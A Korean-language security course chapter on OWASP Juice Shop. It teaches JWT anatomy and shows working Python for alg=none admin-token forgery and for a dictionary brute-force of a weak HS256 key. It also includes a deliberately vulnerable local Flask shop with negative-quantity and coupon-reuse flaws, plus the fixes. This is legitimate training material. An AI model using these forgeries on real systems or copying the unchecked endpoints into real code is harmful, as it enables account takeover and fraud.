Step 150. Juice Shop 3 — JWT와 비즈니스 로직
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간
전제: Step 149를 마쳤다. Burp Repeater로 요청을 고쳐 보낼 수 있고, Base64가 암호화가 아니라는 것을 안다(Step 50).
- 준비물: 실행 중인 Juice Shop, Burp Suite, 파이썬 3 + PyJWT(
python -m pip install pyjwt). - ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 합법 연습장 안내: OWASP Juice Shop은 공격 연습을 위해 공식 배포되는 합법 학습 플랫폼(취약 웹앱)이고, 오늘의 JWT·주문 서버 실험은 여러분 컴퓨터 안의 로컬 랩입니다. 이 두 곳 외에는 오늘의 기술을 쓰지 않습니다.
어제까지 우리는 주소의 숫자를 바꿨습니다. 오늘은 신분증 자체를 위조합니다. Juice Shop의 로그인 증표는 JWT(JSON Web Token) — 점 두 개로 이어진 긴 문자열인데, 이것은 "서버가 서명한 JSON 신분증"입니다. 서명 검사를 빼먹은 서버에서는 이 신분증의 내용을 마음대로 고칠 수 있습니다.
그리고 오늘의 후반부는 기술 취약점이 아닌 규칙의 허점입니다. 수량을 -10개 주문하면 잔액이 늘어날까요? 쿠폰을 두 번 쓰면 어떻게 될까요? 이런 비즈니스 로직 결함은 스캐너가 절대 못 찾습니다 — "개발자의 상식을 믿은 구멍"이라 사람의 호기심만이 찾아냅니다. 둘 다 오늘 내 컴퓨터에서 직접 재현합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- JWT의 세 덩어리(헤더.페이로드.서명)를 분해하고 내용을 읽는다
- alg=none 공격과 약한 비밀키 브루트포스의 원리를 로컬에서 실측한다
- "JWT는 암호화가 아니라 서명이다"를 실험으로 설명한다
- 비즈니스 로직 결함(음수 수량, 쿠폰 재사용)을 Flask 서버로 재현한다
- Juice Shop에서 JWT·로직 계열 챌린지를 공략해 누적 45개를 달성한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 + PyJWT(로컬 랩), Juice Shop + Burp Suite(워게임) |
| 오늘의 명령 | jwt.encode(), jwt.decode(), token.split("."), Burp Repeater |
| 필요한 개념 | JWT 구조, HMAC 서명, alg=none, 비즈니스 로직 결함, 검증 누락 |
| 오늘의 산출물 | JWT 위조 실험 코드 + 로직 결함 재현 서버 + 누적 45개 스코어보드 |
2-1. JWT — 점 두 개의 신분증
JWT는 헤더.페이로드.서명 세 덩어리가 점(.)으로 이어진 문자열입니다. 헤더에는 알고리즘, 페이로드에는 사용자 정보(email, role 같은 것), 서명에는 "이 내용은 서버가 발급했고 변조되지 않았다"는 도장이 들어갑니다.
여기서 오늘 가장 중요한 문장: JWT의 앞 두 덩어리는 암호화가 아니라 Base64 인코딩입니다. 누구나 디코딩해 내용을 읽을 수 있습니다. 비밀을 지켜 주는 것은 세 번째 덩어리인 서명뿐입니다. 서명은 서버만 아는 비밀키로 만들기에, 키 없이 내용을 고치면 서명이 어긋나 버립니다 — 이것이 JWT의 안전장치 전부입니다.
2-2. alg=none — 도장을 떼어 내는 공격
헤더의 alg 필드는 "이 토큰을 어떤 알고리즘으로 검증하라"는 지시입니다. 그런데 표준에는 none이라는 값이 있습니다 — 서명 없음. 부주의한 서버가 이 지시를 그대로 따르면, 서명 덩어리를 비운 토큰도 통과합니다. 신분증에서 도장을 떼어 냈는데 검문소가 "도장 없음 규정이군요" 하고 통과시키는 격입니다.
현대의 JWT 라이브러리는 대부분 이 공격을 기본 차단합니다. 하지만 설정 실수(verify_signature=False)나 낡은 라이브러리에서는 여전히 먹히고, Juice Shop에는 이 계열의 챌린지가 있습니다.
2-3. 약한 비밀키 — 도장의 재료를 추측하는 공격
HS256 알고리즘의 서명은 "비밀키 + 내용"의 HMAC 해시입니다. 서버의 비밀키가 secret, 123456 같은 약한 문자열이면, 공격자가 사전을 돌며 "이 키로 만든 서명이 토큰의 서명과 같은가"를 오프라인에서 확인할 수 있습니다. 맞는 키를 찾으면 그 키로 관리자 토큰을 새로 만들 수 있습니다. 오늘 작은 사전으로 직접 해봅니다.
2-4. 비즈니스 로직 결함 — 상식을 믿은 구멍
SQL 인젝션이나 XSS가 "기술의 구멍"이라면, 비즈니스 로직 결함은 "규칙의 구멍"입니다. 주문 수량을 검사하지 않으면 -10개 주문으로 돈이 늘고, 쿠폰 사용 기록을 검사하지 않으면 쿠폰이 무한정 통합니다. 코드는 정상 작동합니다 — 정상 작동하는 것이 문제인 것입니다. 스캐너가 못 찾는 이유이고, 버그바운티 고액 제보가 자주 나오는 자리이기도 합니다.
3. 따라 하기
3-1. 내 JWT 만들고 해부하기
jwt_lab.py를 만들고 첫 부분부터 실행해 봅니다.
import base64
import jwt
SECRET = "keyboard cat 7" # 일부러 약한 비밀키
token = jwt.encode({"email": "user@example.com", "role": "user"}, SECRET, algorithm="HS256")
print(token)
def b64url_decode(s):
s += "=" * (-len(s) % 4)
return base64.urlsafe_b64decode(s)
h, p, s = token.split(".")
print("헤더 :", b64url_decode(h).decode())
print("페이로드:", b64url_decode(p).decode())
print("서명 길이:", len(b64url_decode(s)), "바이트")
출력 (2026-09-09 실측, PyJWT 2.13):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJyb2xlIjoidXNlciJ9.5HFcNtCtD6gdvkuv-CA51YJTaxuMXL3xvR8693yOYxQ
헤더 : {"alg":"HS256","typ":"JWT"}
페이로드: {"email":"user@example.com","role":"user"}
서명 길이: 32 바이트
읽는 법: 비밀키 없이, 앞 두 덩어리를 그냥 읽었습니다. 이것이 "JWT는 암호화가 아니다"의 증거입니다. 서명만 32바이트의 알 수 없는 덩어리로 남습니다.
3-2. alg=none 토큰 조립과 두 종류의 서버
페이로드를 관리자로 바꾸고 헤더를 alg: none으로 고친 토큰을 손으로 조립합니다.
import json
def b64url_encode(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
none_token = (
b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
+ "."
+ b64url_encode(json.dumps({"email": "admin@juice-sh.op", "role": "admin"}).encode())
+ "."
)
print(none_token)
# 제대로 된 서버
try:
jwt.decode(none_token, SECRET, algorithms=["HS256"])
except jwt.exceptions.InvalidTokenError as e:
print("거부됨:", type(e).__name__, "-", e)
# 부주의한 서버
payload = jwt.decode(none_token, options={"verify_signature": False})
print("받아들여짐:", payload)
출력 (2026-09-09 실측):
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJlbWFpbCI6ICJhZG1pbkBqdWljZS1zaC5vcCIsICJyb2xlIjogImFkbWluIn0.
거부됨: InvalidAlgorithmError - The specified alg value is not allowed
받아들여짐: {'email': 'admin@juice-sh.op', 'role': 'admin'}
읽는 법: 위조 토큰은 끝이 .으로 끝납니다 — 서명 덩어리가 비었기 때문입니다. 최신 PyJWT는 InvalidAlgorithmError로 쳐내지만, verify_signature=False로 검증을 끈 서버는 관리자 토큰으로 받아들입니다. 취약점은 기술이 아니라 설정 한 줄입니다.
3-3. 약한 비밀키 브루트포스
이번에는 서명을 떼는 게 아니라 도장의 재료(비밀키)를 알아냅니다. 3-1의 정상 토큰을 대상으로 사전 공격을 합니다.
wordlist = ["password", "123456", "secret", "keyboard cat 7", "qwerty", "letmein"]
for word in wordlist:
try:
jwt.decode(token, word, algorithms=["HS256"])
print("키 발견!:", repr(word))
break
except jwt.exceptions.InvalidSignatureError:
print("실패:", repr(word))
forged = jwt.encode({"email": "admin@juice-sh.op", "role": "admin"}, word, algorithm="HS256")
print("위조 토큰 검증 통과:", jwt.decode(forged, word, algorithms=["HS256"]))
출력 (2026-09-09 실측):
실패: 'password'
실패: '123456'
실패: 'secret'
키 발견!: 'keyboard cat 7'
위조 토큰 검증 통과: {'email': 'admin@juice-sh.op', 'role': 'admin'}
읽는 법: 서버에 한 번도 접속하지 않았습니다 — 토큰만 있으면 서명 검증은 내 컴퓨터에서 무한정 시도할 수 있습니다. 키가 사전에 있으면 끝입니다. 찾은 키로 만든 위조 토큰이 검증을 통과하는 것까지 확인했습니다. 실전에서는 rockyou.txt 같은 대형 사전과 hashcat(Step 124)을 씁니다 — 오늘은 원리만 몸에 넣습니다.
3-4. 비즈니스 로직 — 음수 수량 주문
이번엔 bizlogic_lab.py라는 작은 상점 서버를 만듭니다. 잔액 10,000원에서 시작하고, 상품 가격은 3,000원입니다.
from flask import Flask, jsonify, request
app = Flask(__name__)
app.json.ensure_ascii = False
WALLET = {"balance": 10000}
COUPON_VALUE = 5000
PRICE = 3000
@app.route("/buy", methods=["POST"])
def buy():
qty = int(request.args.get("qty", 1))
# 취약: 수량 범위 검사 없음
total = PRICE * qty
WALLET["balance"] -= total
return jsonify({"qty": qty, "paid": total, "balance": WALLET["balance"]})
@app.route("/coupon", methods=["POST"])
def coupon():
code = request.args.get("code", "")
# 취약: 이미 쓴 쿠폰인지 검사하지 않는다
WALLET["balance"] += COUPON_VALUE
return jsonify({"code": code, "balance": WALLET["balance"]})
if __name__ == "__main__":
app.run(port=5492)
서버를 켜고(python bizlogic_lab.py), 새 터미널에서 요청합니다.
import urllib.request, json
def post(path):
req = urllib.request.Request("http://127.0.0.1:5492" + path, method="POST")
with urllib.request.urlopen(req) as r:
return r.status, json.loads(r.read().decode())
post("/buy?qty=1")
post("/buy?qty=-10")
post("/coupon?code=WELCOME50")
post("/coupon?code=WELCOME50")
post("/coupon?code=WELCOME50")
출력 (2026-09-09 실측):
정상 주문 qty=1 -> (200, {'qty': 1, 'paid': 3000, 'balance': 7000})
악의적 주문 qty=-10 -> (200, {'qty': -10, 'paid': -30000, 'balance': 37000})
쿠폰 1회차 -> (200, {'code': 'WELCOME50', 'balance': 42000})
쿠폰 2회차 -> (200, {'code': 'WELCOME50', 'balance': 47000})
쿠폰 3회차 -> (200, {'code': 'WELCOME50', 'balance': 52000})
읽는 법: -10개를 주문하니 결제액이 -30,000원, 즉 오히려 잔액이 37,000원으로 늘었습니다. 쿠폰은 세 번 써도 매번 5,000원이 더해집니다. 에러는 어디에도 없습니다 — 서버는 명령받은 대로 정확히 일했고, 그것이 결함입니다.
왜: 방어는 두 줄의 규칙입니다. if qty <= 0: 거부, if code in USED_COUPONS: 거부. 로직 결함의 방어는 항상 "상식을 코드로 명시하는 것"입니다.
3-5. Juice Shop에서 JWT 관찰
Juice Shop에 로그인한 뒤 개발자 도구 Application 탭(또는 Network 응답)에서 token 쿠키/헤더를 찾아 복사합니다. 점이 두 개 있는 긴 문자열이 JWT입니다 (화면 예시 — 값은 여러분 것으로):
eyJhbGciOiJSUzI1NiIs... .eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6... .(서명)
이 토큰을 3-1과 같은 방법으로 해부해 봅니다 — 파이썬에서 token.split(".") 후 Base64 디코딩하면 내 계정 정보가 그대로 읽힙니다. jwt.io에 붙여 넣어도 같은 것을 보여 줍니다.
3-6. Juice Shop 로직 챌린지 공략
장바구니에서 수량 변경 요청을 Burp로 잡아 quantity 값을 음수로 바꿔 Send해 봅니다. 서버가 받아들이면 잔액·총액이 어떻게 변하는지 관찰하세요 (화면 예시 — 결과는 직접 확인). 설문 평점, 쿠폰 코드, 장바구니 이동 등 "규칙이 있을 자리"마다 같은 질문을 던집니다 — 이 값의 범위를 서버가 검사하는가?
JWT 챌린지는 스코어보드 힌트(💡)에서 "JWT"를 검색해 후보를 찾습니다. alg=none 조립 토큰을 Authorization: Bearer 헤더에 넣어 보내 보는 식입니다. 라이브러리 버전에 따라 안 먹히는 챌린지도 있습니다 — 원리 이해가 목적이니, 안 되면 3-2의 로컬 실측으로 근거를 대체하고 기록하세요.
4. 미션과 연습문제
미션 — 위조와 허점, 두 가지 공격의 증명
- 3-1~3-3의 JWT 실험을 전부 재현하고, "키 발견!" 출력과 위조 토큰 검증 통과를 캡처합니다
- 3-4의 상점 서버에서 잔액이 10,000원에서 37,000원으로 늘어나는 장면을 재현합니다
- 상점 서버에 방어 코드(수량 검사, 쿠폰 중복 검사)를 추가하고, 공격이 거부되는 것을 확인합니다
- Juice Shop에서 JWT 계열 1개 + 로직 계열 1개 챌린지를 해결하고 write-up을 씁니다
- 스코어보드 누적 45개를 달성합니다 (Step 149의 30개에서 15개 추가)
연습문제
문제 1. JWT의 페이로드는 아무나 읽을 수 있는데, 왜 위조는 못 하나요? 서명이 막는 원리를 설명해 보세요.
문제 2. alg=none 공격이 통하는 서버와 통하지 않는 서버의 차이를 3-2 실측 결과로 설명해 보세요.
문제 3. 약한 비밀키 브루트포스는 왜 서버에 접속하지 않고도 가능한가요? 이것이 주는 방어 교훈은 무엇인가요?
문제 4. 비즈니스 로직 결함을 자동 스캐너가 못 찾는 이유를 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
1~2번은 3절 실측 그대로입니다. 3번 방어 코드의 골격:
@app.route("/buy", methods=["POST"])
def buy():
qty = int(request.args.get("qty", 1))
if qty <= 0 or qty > 99: # 규칙 명시 1: 수량 범위
return jsonify({"error": "invalid quantity"}), 400
...
@app.route("/coupon", methods=["POST"])
def coupon():
code = request.args.get("code", "")
if code in USED_COUPONS: # 규칙 명시 2: 사용 기록 검사
return jsonify({"error": "coupon already used"}), 400
USED_COUPONS.add(code)
...
방어 후 qty=-10은 400, 쿠폰 2회차는 400으로 막히는 것을 확인합니다 (여러분의 로컬 서버에서 직접 확인). 4번의 write-up에는 "원래 요청 / 바꾼 값 / 서버 응답 / 서버가 안 한 검사"를 적습니다. 5번은 스코어보드에서 체크 개수로 검증합니다.
연습문제 해답
문제 1 해답. 페이로드는 Base64 인코딩일 뿐이라 누구나 읽을 수 있습니다. 하지만 내용을 고치면 서명(비밀키로 만든 HMAC)이 어긋나고, 서버만 아는 비밀키 없이는 새 내용에 맞는 서명을 만들 수 없어서 위조가 실패합니다. 기밀성이 아니라 무결성을 지키는 장치입니다.
문제 2 해답. 3-2 실측에서 최신 PyJWT는 InvalidAlgorithmError - The specified alg value is not allowed로 위조 토큰을 거부했지만, verify_signature=False로 검증을 끈 서버는 관리자 페이로드를 그대로 받아들였습니다. 차이는 알고리즘이 아니라 "서버가 서명 검증을 수행하는가"라는 설정 한 줄입니다.
문제 3 해답. HS256 서명은 대칭키 방식이라, 검증에 필요한 것이 토큰과 후보 키뿐입니다. 토큰은 이미 공격자 손에 있으니 키 후보를 무한정 대입해 볼 수 있습니다(오프라인 공격). 교훈: 비밀키는 길고 무작위여야 하며, 실제로 3-3 실행 시 PyJWT가 InsecureKeyLengthWarning(HMAC 키가 권장 32바이트 미만)을 띄운 것이 그 경고입니다.
문제 4 해답. 스캐너는 "정상 응답과 비정상 응답의 차이"로 취약점을 찾는데, 로직 결함은 모든 응답이 200으로 "정상"이기 때문입니다. -10개 주문도 서버 입장에서는 규칙대로 처리한 정상 응답입니다. 규칙 자체의 허점은 서비스의 맥락을 아는 사람만 찾을 수 있습니다.
완료 기준 체크리스트
- [ ] JWT를 세 덩어리로 나누고 앞 둘을 Base64로 읽을 수 있다
- [ ] "JWT는 암호화가 아니라 서명"을 실험으로 설명할 수 있다
- [ ] alg=none 위조 토큰을 조립하고 거부·수용 사례를 재현했다
- [ ] 작은 사전으로 약한 비밀키를 찾아 위조 토큰을 만들었다
- [ ] 음수 수량·쿠폰 재사용으로 잔액이 늘어나는 것을 재현했다
- [ ] 로직 결함의 방어가 "규칙의 명시"임을 코드로 보였다
- [ ] 미션: Juice Shop JWT·로직 챌린지 각 1건 + 누적 45개
6. 흔한 실수와 해결
벽 1. ModuleNotFoundError: No module named 'jwt'
원인: PyJWT가 설치되지 않았습니다. 이름 주의 — jwt가 아니라 pyjwt를 설치해야 import jwt가 됩니다.
해결: python -m pip install pyjwt (2026-09-09 실측, 2.13.0 설치 확인).
벽 2. Base64 디코딩에서 패딩 오류가 난다
증상 (실측 계열 메시지):
binascii.Error: Invalid padding
원인: JWT는 Base64url이라 끝의 = 패딩이 생략되어 있습니다. 그대로 디코딩하면 길이가 안 맞습니다.
해결: 3-1의 b64url_decode처럼 s += "=" * (-len(s) % 4)로 패딩을 보정하세요.
벽 3. 키 길이 경고가 뜬다
증상 (2026-09-09 실측):
InsecureKeyLengthWarning: The HMAC key is 14 bytes long, which is below the minimum recommended length of 32 bytes for SHA256.
원인: 연습용으로 쓴 키가 짧다는 라이브러리의 경고입니다. 오류가 아니라 경고라 실험은 진행됩니다.
해결: 이 경고 자체가 오늘의 교훈입니다. 실제 서비스의 비밀키는 32바이트 이상의 무작위 값이어야 합니다. 경고를 끄지 말고 읽으세요.
벽 4. alg=none 토큰이 PyJWT에서 거부된다
증상 (2026-09-09 실측):
jwt.exceptions.InvalidAlgorithmError: The specified alg value is not allowed
원인: 거부되는 것이 정상입니다 — 최신 라이브러리는 이 공격을 기본 차단합니다.
해결: 공격이 안 먹히는 것이 아니라 방어를 본 것입니다. 공격 성공 장면이 필요하면 3-2처럼 verify_signature=False인 "부주의한 서버"를 세워 비교하세요.
벽 5. Juice Shop에서 토큰을 고쳐도 401만 온다
원인: 내용을 고쳤는데 서명은 그대로라 서명 불일치입니다. 정상 동작입니다.
해결: 그 응답이 "서명 검증이 작동하고 있다"는 증거입니다. 챌린지가 요구하는 것은 서명 우회(alg=none)나 키 탈취이지 날조가 아닙니다. 스코어보드 힌트에서 어느 쪽 챌린지인지 확인하세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| JWT | 헤더.페이로드.서명 구조의 서명된 JSON 신분증 |
| Base64 ≠ 암호화 | 페이로드는 누구나 읽는다 — 지키는 것은 서명뿐 |
| alg=none | 서명 없음 지시를 서버가 받아들이면 생기는 위조 |
| 약한 비밀키 | 사전에 있는 키는 오프라인에서 찾아낼 수 있다 |
| 비즈니스 로직 결함 | 코드는 정상인데 규칙이 뚫린 구멍 — 스캐너가 못 찾음 |
| 규칙의 명시 | if qty <= 0: 거부처럼 상식을 코드로 적는 방어 |
오늘의 명령어·함수
| 명령·함수 | 하는 일 |
|---|---|
jwt.encode(payload, 키, algorithm="HS256") |
JWT 발급 |
jwt.decode(token, 키, algorithms=[...]) |
서명 검증하며 읽기 |
jwt.decode(token, options={"verify_signature": False}) |
검증 없이 읽기(부주의한 서버 재현) |
token.split(".") + Base64 디코딩 |
토큰 해부 |
사전 반복 + decode 시도 |
약한 키 브루트포스 |
python -m pip install pyjwt |
PyJWT 설치 |
명령어보다 중요한 감각
토큰을 보면 손가락보다 눈이 먼저 움직이게 하세요 — 점이 두 개면 JWT이고, 앞 두 덩어리는 읽을 수 있고, 서명 덩어리를 어떻게 우회할까가 다음 질문입니다. 그리고 로직 결함의 감각 하나: 서비스의 모든 숫자 입력에서 "이 값의 범위를 서버가 검사하는가?"를 묻습니다. 수량, 평점, 할인율, 이체액 — 숫자가 들어가는 자리마다 규칙이 있어야 하고, 규칙이 없는 자리가 곧 취약점입니다. 공격자의 질문이 곧 수비자의 체크리스트입니다.
전부 체크되면 Step 150 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.